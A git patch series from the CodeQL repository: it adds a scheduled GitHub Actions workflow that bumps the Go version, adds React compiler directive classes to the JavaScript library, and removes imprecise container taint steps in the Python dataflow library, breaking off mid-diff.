From c3bafacf812af60ab8caeeda352db6bbb00f032d Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 13 Feb 2026 11:15:15 +0000 Subject: [PATCH 001/143] Initial plan From f7cf24d1f930816e127ccdf15ece528ef8986fe8 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 13 Feb 2026 11:17:57 +0000 Subject: [PATCH 002/143] Add Go version update workflow Co-authored-by: mbg <278086+mbg@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 176 ++++++++++++++++++++++++ 1 file changed, 176 insertions(+) create mode 100644 .github/workflows/go-version-update.yml diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml new file mode 100644 index 00000000000..74eb24e8ec3 --- /dev/null +++ b/.github/workflows/go-version-update.yml @@ -0,0 +1,176 @@ +name: Update Go version + +on: + workflow_dispatch: + schedule: + - cron: "0 3 * * 1" # Run weekly on Monday at 3 AM UTC + +permissions: + contents: write + pull-requests: write + +jobs: + update-go-version: + name: Check and update Go version + if: github.repository == 'github/codeql' + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v5 + with: + fetch-depth: 0 + + - name: Set up Git + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Fetch latest Go version + id: fetch-version + run: | + LATEST_GO_VERSION=$(curl -s https://go.dev/dl/\?mode\=json | jq -r '.[0].version') + echo "Latest Go version from go.dev: $LATEST_GO_VERSION" + echo "version=$LATEST_GO_VERSION" >> $GITHUB_OUTPUT + + # Extract version numbers (e.g., go1.26.0 -> 1.26.0) + LATEST_VERSION_NUM=$(echo $LATEST_GO_VERSION | sed 's/^go//') + echo "version_num=$LATEST_VERSION_NUM" >> $GITHUB_OUTPUT + + # Extract major.minor version (e.g., 1.26.0 -> 1.26) + LATEST_MAJOR_MINOR=$(echo $LATEST_VERSION_NUM | grep -oP '^\d+\.\d+') + echo "major_minor=$LATEST_MAJOR_MINOR" >> $GITHUB_OUTPUT + + - name: Check current Go version + id: current-version + run: | + CURRENT_VERSION=$(grep -oP 'go_sdk.download\(version = "\K[^"]+' MODULE.bazel) + echo "Current Go version in MODULE.bazel: $CURRENT_VERSION" + echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT + + # Extract major.minor version + CURRENT_MAJOR_MINOR=$(echo $CURRENT_VERSION | grep -oP '^\d+\.\d+') + echo "major_minor=$CURRENT_MAJOR_MINOR" >> $GITHUB_OUTPUT + + - name: Compare versions + id: compare + run: | + LATEST="${{ steps.fetch-version.outputs.version_num }}" + CURRENT="${{ steps.current-version.outputs.version }}" + + echo "Latest: $LATEST" + echo "Current: $CURRENT" + + if [ "$LATEST" = "$CURRENT" ]; then + echo "Go version is up to date" + echo "needs_update=false" >> $GITHUB_OUTPUT + else + echo "Go version needs update from $CURRENT to $LATEST" + echo "needs_update=true" >> $GITHUB_OUTPUT + fi + + - name: Update Go version in files + if: steps.compare.outputs.needs_update == 'true' + run: | + LATEST_VERSION_NUM="${{ steps.fetch-version.outputs.version_num }}" + LATEST_MAJOR_MINOR="${{ steps.fetch-version.outputs.major_minor }}" + CURRENT_VERSION="${{ steps.current-version.outputs.version }}" + CURRENT_MAJOR_MINOR="${{ steps.current-version.outputs.major_minor }}" + + echo "Updating from $CURRENT_VERSION to $LATEST_VERSION_NUM" + + # Update MODULE.bazel + sed -i "s/go_sdk.download(version = \"$CURRENT_VERSION\")/go_sdk.download(version = \"$LATEST_VERSION_NUM\")/" MODULE.bazel + + # Update go/extractor/go.mod + sed -i "s/^go $CURRENT_MAJOR_MINOR$/go $LATEST_MAJOR_MINOR/" go/extractor/go.mod + sed -i "s/^toolchain go$CURRENT_VERSION$/toolchain go$LATEST_VERSION_NUM/" go/extractor/go.mod + + # Update go/extractor/autobuilder/build-environment.go + sed -i "s/var maxGoVersion = util.NewSemVer(\"$CURRENT_MAJOR_MINOR\")/var maxGoVersion = util.NewSemVer(\"$LATEST_MAJOR_MINOR\")/" go/extractor/autobuilder/build-environment.go + + # Update go/actions/test/action.yml + sed -i "s/default: \"~$CURRENT_VERSION\"/default: \"~$LATEST_VERSION_NUM\"/" go/actions/test/action.yml + + # Show what changed + git diff + + - name: Check for changes + id: check-changes + if: steps.compare.outputs.needs_update == 'true' + run: | + if git diff --quiet; then + echo "No changes detected" + echo "has_changes=false" >> $GITHUB_OUTPUT + else + echo "Changes detected" + echo "has_changes=true" >> $GITHUB_OUTPUT + fi + + - name: Check for existing PR + if: steps.check-changes.outputs.has_changes == 'true' + id: check-pr + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + BRANCH_NAME="workflow/go-version-update" + PR_NUMBER=$(gh pr list --head "$BRANCH_NAME" --state open --json number --jq '.[0].number // ""') + + if [ -n "$PR_NUMBER" ]; then + echo "Existing PR found: #$PR_NUMBER" + echo "pr_exists=true" >> $GITHUB_OUTPUT + echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT + else + echo "No existing PR found" + echo "pr_exists=false" >> $GITHUB_OUTPUT + fi + + - name: Commit and push changes + if: steps.check-changes.outputs.has_changes == 'true' + run: | + BRANCH_NAME="workflow/go-version-update" + LATEST_VERSION_NUM="${{ steps.fetch-version.outputs.version_num }}" + LATEST_MAJOR_MINOR="${{ steps.fetch-version.outputs.major_minor }}" + + # Create or switch to branch + git checkout -B "$BRANCH_NAME" + + # Stage and commit changes + git add MODULE.bazel go/extractor/go.mod go/extractor/autobuilder/build-environment.go go/actions/test/action.yml + git commit -m "Go: Update to $LATEST_MAJOR_MINOR" + + # Push changes + git push -f origin "$BRANCH_NAME" + + - name: Create or update PR + if: steps.check-changes.outputs.has_changes == 'true' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + BRANCH_NAME="workflow/go-version-update" + LATEST_MAJOR_MINOR="${{ steps.fetch-version.outputs.major_minor }}" + CURRENT_MAJOR_MINOR="${{ steps.current-version.outputs.major_minor }}" + + PR_TITLE="Go: Update to $LATEST_MAJOR_MINOR" + PR_BODY="This PR updates Go from $CURRENT_MAJOR_MINOR to $LATEST_MAJOR_MINOR. + + Updated files: + - \`MODULE.bazel\` - go_sdk.download version + - \`go/extractor/go.mod\` - go directive and toolchain + - \`go/extractor/autobuilder/build-environment.go\` - maxGoVersion + - \`go/actions/test/action.yml\` - default go-test-version + + This PR was automatically created by the [Go version update workflow](.github/workflows/go-version-update.yml)." + + if [ "${{ steps.check-pr.outputs.pr_exists }}" = "true" ]; then + echo "Updating existing PR #${{ steps.check-pr.outputs.pr_number }}" + gh pr edit "${{ steps.check-pr.outputs.pr_number }}" --title "$PR_TITLE" --body "$PR_BODY" + else + echo "Creating new PR" + gh pr create \ + --title "$PR_TITLE" \ + --body "$PR_BODY" \ + --base main \ + --head "$BRANCH_NAME" \ + --label "Go" + fi From 437244fe902a4b38045b1605b922b3c8e3066d3b Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 13 Feb 2026 11:19:56 +0000 Subject: [PATCH 003/143] Fix portability issues in Go version update workflow Co-authored-by: mbg <278086+mbg@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index 74eb24e8ec3..ffe41cb63ab 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -38,18 +38,18 @@ jobs: echo "version_num=$LATEST_VERSION_NUM" >> $GITHUB_OUTPUT # Extract major.minor version (e.g., 1.26.0 -> 1.26) - LATEST_MAJOR_MINOR=$(echo $LATEST_VERSION_NUM | grep -oP '^\d+\.\d+') + LATEST_MAJOR_MINOR=$(echo $LATEST_VERSION_NUM | sed -n 's/^\([0-9]\+\.[0-9]\+\).*/\1/p') echo "major_minor=$LATEST_MAJOR_MINOR" >> $GITHUB_OUTPUT - name: Check current Go version id: current-version run: | - CURRENT_VERSION=$(grep -oP 'go_sdk.download\(version = "\K[^"]+' MODULE.bazel) + CURRENT_VERSION=$(sed -n 's/.*go_sdk\.download(version = \"\([^\"]*\)\".*/\1/p' MODULE.bazel) echo "Current Go version in MODULE.bazel: $CURRENT_VERSION" echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT # Extract major.minor version - CURRENT_MAJOR_MINOR=$(echo $CURRENT_VERSION | grep -oP '^\d+\.\d+') + CURRENT_MAJOR_MINOR=$(echo $CURRENT_VERSION | sed -n 's/^\([0-9]\+\.[0-9]\+\).*/\1/p') echo "major_minor=$CURRENT_MAJOR_MINOR" >> $GITHUB_OUTPUT - name: Compare versions @@ -114,7 +114,7 @@ jobs: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | BRANCH_NAME="workflow/go-version-update" - PR_NUMBER=$(gh pr list --head "$BRANCH_NAME" --state open --json number --jq '.[0].number // ""') + PR_NUMBER=$(gh pr list --head "$BRANCH_NAME" --state open --json number --jq '.[]? | .number') if [ -n "$PR_NUMBER" ]; then echo "Existing PR found: #$PR_NUMBER" From 1cbd423251223ec47ea02896da8f10b4bbcd9d27 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 13 Feb 2026 11:21:13 +0000 Subject: [PATCH 004/143] Improve portability and fix PR detection in Go version workflow Co-authored-by: mbg <278086+mbg@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index ffe41cb63ab..ef55aa21ede 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -3,7 +3,7 @@ name: Update Go version on: workflow_dispatch: schedule: - - cron: "0 3 * * 1" # Run weekly on Monday at 3 AM UTC + - cron: "0 3 * * 1" # Run weekly on Mondays at 3 AM UTC (1 = Monday) permissions: contents: write @@ -38,7 +38,7 @@ jobs: echo "version_num=$LATEST_VERSION_NUM" >> $GITHUB_OUTPUT # Extract major.minor version (e.g., 1.26.0 -> 1.26) - LATEST_MAJOR_MINOR=$(echo $LATEST_VERSION_NUM | sed -n 's/^\([0-9]\+\.[0-9]\+\).*/\1/p') + LATEST_MAJOR_MINOR=$(echo $LATEST_VERSION_NUM | sed -E 's/^([0-9]+\.[0-9]+).*/\1/') echo "major_minor=$LATEST_MAJOR_MINOR" >> $GITHUB_OUTPUT - name: Check current Go version @@ -49,7 +49,7 @@ jobs: echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT # Extract major.minor version - CURRENT_MAJOR_MINOR=$(echo $CURRENT_VERSION | sed -n 's/^\([0-9]\+\.[0-9]\+\).*/\1/p') + CURRENT_MAJOR_MINOR=$(echo $CURRENT_VERSION | sed -E 's/^([0-9]+\.[0-9]+).*/\1/') echo "major_minor=$CURRENT_MAJOR_MINOR" >> $GITHUB_OUTPUT - name: Compare versions @@ -114,9 +114,9 @@ jobs: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | BRANCH_NAME="workflow/go-version-update" - PR_NUMBER=$(gh pr list --head "$BRANCH_NAME" --state open --json number --jq '.[]? | .number') + PR_NUMBER=$(gh pr list --head "$BRANCH_NAME" --state open --json number --jq '.[0].number') - if [ -n "$PR_NUMBER" ]; then + if [ "$PR_NUMBER" != "null" ] && [ -n "$PR_NUMBER" ]; then echo "Existing PR found: #$PR_NUMBER" echo "pr_exists=true" >> $GITHUB_OUTPUT echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT @@ -152,7 +152,9 @@ jobs: CURRENT_MAJOR_MINOR="${{ steps.current-version.outputs.major_minor }}" PR_TITLE="Go: Update to $LATEST_MAJOR_MINOR" - PR_BODY="This PR updates Go from $CURRENT_MAJOR_MINOR to $LATEST_MAJOR_MINOR. + + PR_BODY=$(cat < Date: Fri, 13 Feb 2026 11:22:36 +0000 Subject: [PATCH 005/143] Add error handling and validation to Go version workflow Co-authored-by: mbg <278086+mbg@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 40 +++++++++++++++++++++---- 1 file changed, 34 insertions(+), 6 deletions(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index ef55aa21ede..95d1599d2a2 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -30,6 +30,12 @@ jobs: id: fetch-version run: | LATEST_GO_VERSION=$(curl -s https://go.dev/dl/\?mode\=json | jq -r '.[0].version') + + if [ -z "$LATEST_GO_VERSION" ] || [ "$LATEST_GO_VERSION" = "null" ]; then + echo "Error: Failed to fetch latest Go version from go.dev" + exit 1 + fi + echo "Latest Go version from go.dev: $LATEST_GO_VERSION" echo "version=$LATEST_GO_VERSION" >> $GITHUB_OUTPUT @@ -45,6 +51,12 @@ jobs: id: current-version run: | CURRENT_VERSION=$(sed -n 's/.*go_sdk\.download(version = \"\([^\"]*\)\".*/\1/p' MODULE.bazel) + + if [ -z "$CURRENT_VERSION" ]; then + echo "Error: Could not extract Go version from MODULE.bazel" + exit 1 + fi + echo "Current Go version in MODULE.bazel: $CURRENT_VERSION" echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT @@ -79,18 +91,34 @@ jobs: echo "Updating from $CURRENT_VERSION to $LATEST_VERSION_NUM" + # Escape dots in version strings for use in sed patterns + CURRENT_VERSION_ESCAPED=$(echo "$CURRENT_VERSION" | sed 's/\./\\./g') + LATEST_VERSION_NUM_ESCAPED=$(echo "$LATEST_VERSION_NUM" | sed 's/\./\\./g') + CURRENT_MAJOR_MINOR_ESCAPED=$(echo "$CURRENT_MAJOR_MINOR" | sed 's/\./\\./g') + LATEST_MAJOR_MINOR_ESCAPED=$(echo "$LATEST_MAJOR_MINOR" | sed 's/\./\\./g') + # Update MODULE.bazel - sed -i "s/go_sdk.download(version = \"$CURRENT_VERSION\")/go_sdk.download(version = \"$LATEST_VERSION_NUM\")/" MODULE.bazel + if ! sed -i "s/go_sdk\.download(version = \"$CURRENT_VERSION_ESCAPED\")/go_sdk.download(version = \"$LATEST_VERSION_NUM\")/" MODULE.bazel; then + echo "Warning: Failed to update MODULE.bazel" + fi # Update go/extractor/go.mod - sed -i "s/^go $CURRENT_MAJOR_MINOR$/go $LATEST_MAJOR_MINOR/" go/extractor/go.mod - sed -i "s/^toolchain go$CURRENT_VERSION$/toolchain go$LATEST_VERSION_NUM/" go/extractor/go.mod + if ! sed -i "s/^go $CURRENT_MAJOR_MINOR_ESCAPED\$/go $LATEST_MAJOR_MINOR/" go/extractor/go.mod; then + echo "Warning: Failed to update go directive in go.mod" + fi + if ! sed -i "s/^toolchain go$CURRENT_VERSION_ESCAPED\$/toolchain go$LATEST_VERSION_NUM/" go/extractor/go.mod; then + echo "Warning: Failed to update toolchain in go.mod" + fi # Update go/extractor/autobuilder/build-environment.go - sed -i "s/var maxGoVersion = util.NewSemVer(\"$CURRENT_MAJOR_MINOR\")/var maxGoVersion = util.NewSemVer(\"$LATEST_MAJOR_MINOR\")/" go/extractor/autobuilder/build-environment.go + if ! sed -i "s/var maxGoVersion = util\.NewSemVer(\"$CURRENT_MAJOR_MINOR_ESCAPED\")/var maxGoVersion = util.NewSemVer(\"$LATEST_MAJOR_MINOR\")/" go/extractor/autobuilder/build-environment.go; then + echo "Warning: Failed to update build-environment.go" + fi # Update go/actions/test/action.yml - sed -i "s/default: \"~$CURRENT_VERSION\"/default: \"~$LATEST_VERSION_NUM\"/" go/actions/test/action.yml + if ! sed -i "s/default: \"~$CURRENT_VERSION_ESCAPED\"/default: \"~$LATEST_VERSION_NUM\"/" go/actions/test/action.yml; then + echo "Warning: Failed to update action.yml" + fi # Show what changed git diff @@ -162,7 +190,7 @@ jobs: - \`go/extractor/autobuilder/build-environment.go\` - maxGoVersion - \`go/actions/test/action.yml\` - default go-test-version - This PR was automatically created by the [Go version update workflow](.github/workflows/go-version-update.yml). + This PR was automatically created by the [Go version update workflow](https://github.com/${{ github.repository }}/blob/main/.github/workflows/go-version-update.yml). EOF ) From b6004045bdd4a826a583fb849c973887059f6e9f Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 13 Feb 2026 11:23:44 +0000 Subject: [PATCH 006/143] Clean up Go version workflow - remove unnecessary escaping and checks Co-authored-by: mbg <278086+mbg@users.noreply.github.com> --- .github/workflows/go-version-update.yml | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/.github/workflows/go-version-update.yml b/.github/workflows/go-version-update.yml index 95d1599d2a2..3cd8f72690f 100644 --- a/.github/workflows/go-version-update.yml +++ b/.github/workflows/go-version-update.yml @@ -29,7 +29,7 @@ jobs: - name: Fetch latest Go version id: fetch-version run: | - LATEST_GO_VERSION=$(curl -s https://go.dev/dl/\?mode\=json | jq -r '.[0].version') + LATEST_GO_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version') if [ -z "$LATEST_GO_VERSION" ] || [ "$LATEST_GO_VERSION" = "null" ]; then echo "Error: Failed to fetch latest Go version from go.dev" @@ -91,11 +91,9 @@ jobs: echo "Updating from $CURRENT_VERSION to $LATEST_VERSION_NUM" - # Escape dots in version strings for use in sed patterns + # Escape dots in current version strings for use in sed patterns CURRENT_VERSION_ESCAPED=$(echo "$CURRENT_VERSION" | sed 's/\./\\./g') - LATEST_VERSION_NUM_ESCAPED=$(echo "$LATEST_VERSION_NUM" | sed 's/\./\\./g') CURRENT_MAJOR_MINOR_ESCAPED=$(echo "$CURRENT_MAJOR_MINOR" | sed 's/\./\\./g') - LATEST_MAJOR_MINOR_ESCAPED=$(echo "$LATEST_MAJOR_MINOR" | sed 's/\./\\./g') # Update MODULE.bazel if ! sed -i "s/go_sdk\.download(version = \"$CURRENT_VERSION_ESCAPED\")/go_sdk.download(version = \"$LATEST_VERSION_NUM\")/" MODULE.bazel; then @@ -144,7 +142,7 @@ jobs: BRANCH_NAME="workflow/go-version-update" PR_NUMBER=$(gh pr list --head "$BRANCH_NAME" --state open --json number --jq '.[0].number') - if [ "$PR_NUMBER" != "null" ] && [ -n "$PR_NUMBER" ]; then + if [ -n "$PR_NUMBER" ]; then echo "Existing PR found: #$PR_NUMBER" echo "pr_exists=true" >> $GITHUB_OUTPUT echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT From 640b17ec788f26b9e56762e1ecad898ffb13bbe7 Mon Sep 17 00:00:00 2001 From: Matthew Costabile Date: Tue, 5 May 2026 07:41:36 -0400 Subject: [PATCH 007/143] Add UseMemoDirective and UseNoMemoDirective classes --- javascript/ql/lib/semmle/javascript/Stmt.qll | 26 ++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/Stmt.qll b/javascript/ql/lib/semmle/javascript/Stmt.qll index db0d79de7bd..6a757cc1d6c 100644 --- a/javascript/ql/lib/semmle/javascript/Stmt.qll +++ b/javascript/ql/lib/semmle/javascript/Stmt.qll @@ -435,6 +435,32 @@ module Directive { UseClientDirective() { this.getDirectiveText() = "use client" } } + /** + * A `use memo` directive. + * + * Example: + * + * ``` + * "use memo"; + * ``` + */ + class UseMemoDirective extends KnownDirective { + UseMemoDirective() { this.getDirectiveText() = "use memo" } + } + + /** + * A `use no memo` directive. + * + * Example: + * + * ``` + * "use no memo"; + * ``` + */ + class UseNoMemoDirective extends KnownDirective { + UseNoMemoDirective() { this.getDirectiveText() = "use no memo" } + } + /** * A `use cache` directive. * From 0caa48392506265fe7689d344dc2085dc4b67edf Mon Sep 17 00:00:00 2001 From: Matthew Costabile Date: Tue, 5 May 2026 13:20:39 +0000 Subject: [PATCH 008/143] change note and test --- .../2026-05-05-use-memo-directive.md | 4 +++ .../Directives/KnownDirective.expected | 26 +++++++++++-------- .../ql/test/library-tests/Directives/tst.js | 4 +++ 3 files changed, 23 insertions(+), 11 deletions(-) create mode 100644 javascript/ql/lib/change-notes/2026-05-05-use-memo-directive.md diff --git a/javascript/ql/lib/change-notes/2026-05-05-use-memo-directive.md b/javascript/ql/lib/change-notes/2026-05-05-use-memo-directive.md new file mode 100644 index 00000000000..be95205c9ab --- /dev/null +++ b/javascript/ql/lib/change-notes/2026-05-05-use-memo-directive.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added `UseMemoDirective` and `UseNoMemoDirective` classes to model the React compiler directives `"use memo"` and `"use no memo"`. diff --git a/javascript/ql/test/library-tests/Directives/KnownDirective.expected b/javascript/ql/test/library-tests/Directives/KnownDirective.expected index 731158e7e8f..0d7440e3f63 100644 --- a/javascript/ql/test/library-tests/Directives/KnownDirective.expected +++ b/javascript/ql/test/library-tests/Directives/KnownDirective.expected @@ -3,14 +3,18 @@ | tst.js:3:1:3:9 | 'bundle'; | bundle | | tst.js:4:1:4:13 | 'use server'; | use server | | tst.js:5:1:5:13 | 'use client'; | use client | -| tst.js:6:1:6:12 | 'use cache'; | use cache | -| tst.js:7:1:7:20 | 'use cache: remote'; | use cache: remote | -| tst.js:8:1:8:21 | 'use ca ... ivate'; | use cache: private | -| tst.js:17:3:17:12 | 'use asm'; | use asm | -| tst.js:18:3:18:11 | 'bundle'; | bundle | -| tst.js:19:3:19:15 | 'use server'; | use server | -| tst.js:20:3:20:15 | 'use client'; | use client | -| tst.js:21:3:21:14 | 'use cache'; | use cache | -| tst.js:22:3:22:22 | 'use cache: remote'; | use cache: remote | -| tst.js:23:3:23:23 | 'use ca ... ivate'; | use cache: private | -| tst.js:30:5:30:17 | 'use strict'; | use strict | +| tst.js:6:1:6:12 | 'use memo'; | use memo | +| tst.js:7:1:7:15 | 'use no memo'; | use no memo | +| tst.js:8:1:8:12 | 'use cache'; | use cache | +| tst.js:9:1:9:20 | 'use cache: remote'; | use cache: remote | +| tst.js:10:1:10:21 | 'use ca ... ivate'; | use cache: private | +| tst.js:19:3:19:12 | 'use asm'; | use asm | +| tst.js:20:3:20:11 | 'bundle'; | bundle | +| tst.js:21:3:21:15 | 'use server'; | use server | +| tst.js:22:3:22:15 | 'use client'; | use client | +| tst.js:23:3:23:13 | 'use memo'; | use memo | +| tst.js:24:3:24:17 | 'use no memo'; | use no memo | +| tst.js:25:3:25:14 | 'use cache'; | use cache | +| tst.js:26:3:26:22 | 'use cache: remote'; | use cache: remote | +| tst.js:27:3:27:23 | 'use ca ... ivate'; | use cache: private | +| tst.js:34:5:34:17 | 'use strict'; | use strict | diff --git a/javascript/ql/test/library-tests/Directives/tst.js b/javascript/ql/test/library-tests/Directives/tst.js index ec03cbffa0e..7c7676322a4 100644 --- a/javascript/ql/test/library-tests/Directives/tst.js +++ b/javascript/ql/test/library-tests/Directives/tst.js @@ -3,6 +3,8 @@ 'bundle';// and this 'use server'; 'use client'; +'use memo'; +'use no memo'; 'use cache'; 'use cache: remote'; 'use cache: private'; @@ -18,6 +20,8 @@ function f() { 'bundle'; 'use server'; 'use client'; + 'use memo'; + 'use no memo'; 'use cache'; 'use cache: remote'; 'use cache: private'; From 18550039f277e25620c083309ab5cc0e2296c85d Mon Sep 17 00:00:00 2001 From: Matthew Costabile Date: Tue, 5 May 2026 11:06:40 -0400 Subject: [PATCH 009/143] Update KnownDirective.expected --- .../test/library-tests/Directives/KnownDirective.expected | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/ql/test/library-tests/Directives/KnownDirective.expected b/javascript/ql/test/library-tests/Directives/KnownDirective.expected index 0d7440e3f63..065c0954f74 100644 --- a/javascript/ql/test/library-tests/Directives/KnownDirective.expected +++ b/javascript/ql/test/library-tests/Directives/KnownDirective.expected @@ -3,8 +3,8 @@ | tst.js:3:1:3:9 | 'bundle'; | bundle | | tst.js:4:1:4:13 | 'use server'; | use server | | tst.js:5:1:5:13 | 'use client'; | use client | -| tst.js:6:1:6:12 | 'use memo'; | use memo | -| tst.js:7:1:7:15 | 'use no memo'; | use no memo | +| tst.js:6:1:6:11 | 'use memo'; | use memo | +| tst.js:7:1:7:14 | 'use no memo'; | use no memo | | tst.js:8:1:8:12 | 'use cache'; | use cache | | tst.js:9:1:9:20 | 'use cache: remote'; | use cache: remote | | tst.js:10:1:10:21 | 'use ca ... ivate'; | use cache: private | @@ -13,7 +13,7 @@ | tst.js:21:3:21:15 | 'use server'; | use server | | tst.js:22:3:22:15 | 'use client'; | use client | | tst.js:23:3:23:13 | 'use memo'; | use memo | -| tst.js:24:3:24:17 | 'use no memo'; | use no memo | +| tst.js:24:3:24:16 | 'use no memo'; | use no memo | | tst.js:25:3:25:14 | 'use cache'; | use cache | | tst.js:26:3:26:22 | 'use cache: remote'; | use cache: remote | | tst.js:27:3:27:23 | 'use ca ... ivate'; | use cache: private | From b67694b2abdcd66461d3827efa590f96cfc05d5f Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 17 Sep 2024 12:11:16 +0200 Subject: [PATCH 010/143] Python: Remove imprecise container steps - remove `tupleStoreStep` and `dictStoreStep` from `containerStep` These are imprecise compared to the content being precise. - add implicit reads to recover taint at sinks - add implicit read steps for decoders to supplement the `AdditionalTaintStep` that now only covers when the full container is tainted. --- .../DataFlowConsistency.ql | 2 + .../dataflow/new/internal/DataFlowPrivate.qll | 36 +++++ .../new/internal/TaintTrackingPrivate.qll | 15 +- .../dataflow/sensitive-data/test.py | 5 +- .../test_string.py | 2 +- .../test_collections.py | 6 +- .../defaultAdditionalTaintStep/test_string.py | 2 +- .../test_unpacking.py | 2 +- .../frameworks/stdlib/test_re.py | 2 +- .../frameworks/tornado/taint_test.py | 2 +- ...ExternalAPIsUsedWithUntrustedData.expected | 1 + .../UntrustedDataToExternalAPI.expected | 5 + .../StackTraceExposure.expected | 6 +- .../CleartextLogging.expected | 6 - .../PartialServerSideRequestForgery.expected | 13 +- .../NoSqlInjection.expected | 132 +++++++++++++++--- 16 files changed, 182 insertions(+), 55 deletions(-) diff --git a/python/ql/consistency-queries/DataFlowConsistency.ql b/python/ql/consistency-queries/DataFlowConsistency.ql index 829aa6debef..e0ed207dc21 100644 --- a/python/ql/consistency-queries/DataFlowConsistency.ql +++ b/python/ql/consistency-queries/DataFlowConsistency.ql @@ -36,6 +36,8 @@ private module Input implements InputSig { // parameter, but dataflow-consistency queries should _not_ complain about there not // being a post-update node for the synthetic `**kwargs` parameter. n instanceof SynthDictSplatParameterNode + or + Private::Conversions::readStep(n, _, _) } predicate uniqueParameterNodePositionExclude(DataFlowCallable c, ParameterPosition pos, Node p) { diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index fffd0150008..7cb48d4784d 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1009,6 +1009,8 @@ predicate readStep(Node nodeFrom, ContentSet c, Node nodeTo) { synthDictSplatParameterNodeReadStep(nodeFrom, c, nodeTo) or VariableCapture::readStep(nodeFrom, c, nodeTo) + or + Conversions::readStep(nodeFrom, c, nodeTo) } /** Data flows from a sequence to a subscript of the sequence. */ @@ -1064,6 +1066,40 @@ predicate attributeReadStep(Node nodeFrom, AttributeContent c, AttrRead nodeTo) nodeTo.accesses(nodeFrom, c.getAttribute()) } +module Conversions { + private import semmle.python.Concepts + + predicate decoderReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { + exists(Decoding decoding | + nodeFrom = decoding.getAnInput() and + nodeTo = decoding.getOutput() + ) and + ( + c instanceof TupleElementContent + or + c instanceof DictionaryElementContent + ) + } + + predicate encoderReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { + exists(Encoding encoding | + nodeFrom = encoding.getAnInput() and + nodeTo = encoding.getOutput() + ) and + ( + c instanceof TupleElementContent + or + c instanceof DictionaryElementContent + ) + } + + predicate readStep(Node nodeFrom, ContentSet c, Node nodeTo) { + decoderReadStep(nodeFrom, c, nodeTo) + or + encoderReadStep(nodeFrom, c, nodeTo) + } +} + /** * Holds if values stored inside content `c` are cleared at node `n`. For example, * any value stored inside `f` is cleared at the pre-update node associated with `x` diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index 62f5a76309b..6959ceabe70 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -16,7 +16,16 @@ predicate defaultTaintSanitizer(DataFlow::Node node) { none() } * of `c` at sinks and inputs to additional taint steps. */ bindingset[node] -predicate defaultImplicitTaintRead(DataFlow::Node node, DataFlow::ContentSet c) { none() } +predicate defaultImplicitTaintRead(DataFlow::Node node, DataFlow::ContentSet c) { + // We allow implicit reads of precise content + // imprecise content has already bubled up. + exists(node) and + ( + c instanceof DataFlow::TupleElementContent + or + c instanceof DataFlow::DictionaryElementContent + ) +} private module Cached { /** @@ -176,10 +185,6 @@ predicate containerStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { or DataFlowPrivate::setStoreStep(nodeFrom, _, nodeTo) or - DataFlowPrivate::tupleStoreStep(nodeFrom, _, nodeTo) - or - DataFlowPrivate::dictStoreStep(nodeFrom, _, nodeTo) - or // comprehension, so there is taint-flow from `x` in `[x for x in xs]` to the // resulting list of the list-comprehension. // diff --git a/python/ql/test/library-tests/dataflow/sensitive-data/test.py 